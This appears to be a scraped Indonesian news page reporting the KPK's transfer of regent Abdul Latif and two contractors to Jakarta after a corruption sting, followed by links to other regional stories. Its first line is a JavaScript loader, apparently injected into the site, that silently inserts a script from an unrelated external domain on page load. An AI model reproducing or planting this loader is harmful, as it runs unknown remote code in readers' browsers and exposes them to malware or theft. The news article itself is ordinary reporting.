(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, Setelah menjalani proses pemeriksaan dan klarifikasi barang bukti oleh tim KPK, Bupati HST Abdul Latif yang terjaring operasi tangkap tangan (OTT) bersama dua rekanannya, dibawa ke Jakarta. Mereka tiba di gedung KPK, Jalan Kuningan Persada, Jakarta Selatan, Kamis (4/1) pukul 10.34 WIB diantar mobil tahanan. Dia mengenakan kemeja putih dan masker yang menutup sebagian dagunya. Dia juga membawa tas abu-abu.
Di belakang Latif, ada Direktur PT Cipta Persada Barabai, Abdul Basid serta pengusaha juga kontraktor terkait proyek pembangunan RSUD H Damanhuri Barabai, Rifani H Fauzan.
Saat pertama kali menginjakkan di gedung lembaga antirasuah itu,  Latif tidak berkata apapun. Dia hanya tersenyum kepada puluhan wartawan yang sudah menunggunya. Dia sempat membuka mulut, namun urung memberi keterangan dan masuk ke lobi KPK. Rombongan ini kemudian naik ke ruang pemeriksaan di lantai 2.
Pukul 22.36 WIB, datang mobil tahanan kedua. Kali ini ada dua orang yang dibawa. Salah seorang menggunakan batik cokelat, dan seorang lagi mengenakan kemeja seragam berwarna abu-abu. Mereka juga langsung menyusul rombongan pertama tanpa memberi keterangan.
Sementara itu seorang lainnya yaitu pihak swasta dari Surabaya, menurut Febri sudah tiba lebih dulu jelang sore kemarin.
Sebelumnya, menyusul terjadinya proses penangkapan di dua lokasi, yakni Surabaya dan Barabai, HST, Kamis malam sekitar pukul 20.30 Wita, tim KPK bersama anggota Brimob Polda Kalsel membererangkatkan beberapa pihak terkait operasi tangkap tangan (OTT) ke Jakarta. Mereka yang dibawa adalah Bupati HST Abdul Latif,  Direktur PT Cipta Persada Barabai, Abdul Basid serta pengusaha juga kontraktor terkait proyek pembangunan RSUD H Damanhuri Barabai, Rifani H Fauzan.
Dari kesaksian wartawan di lokasi, saat itu Abdul Latif nampak mengenakan baju hem putih dengan celana hitam. Sementara dua pelaku lain mengenakan kaos dan baju putih. Sebelum bertolak ke gedung KPK di Jakarta, rombongan menunggu pesawat di VIP Room Pemprov Kalsel di Bandara Syamsudin Noor Banjarbaru. Lalu akhirnya berangkat dengan penerbangan terakhir menggunakan pesawat Garuda GA 539 rute BDJ-CGK tujuan Bandara Soekarno Hatta di Jakarta.
Tiga orang yang terjaring OTT tersebut didampingi tim KPK yakni Riady Roy, Yushan Nafari Rudi, Sampurno A Budi, Tukiman dan Adriana Agtaria.  Mereka juga didampingi dua petugas Brimob Polda Kalsel Ipda M Jupri, Briptu Didi Nugraha.
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.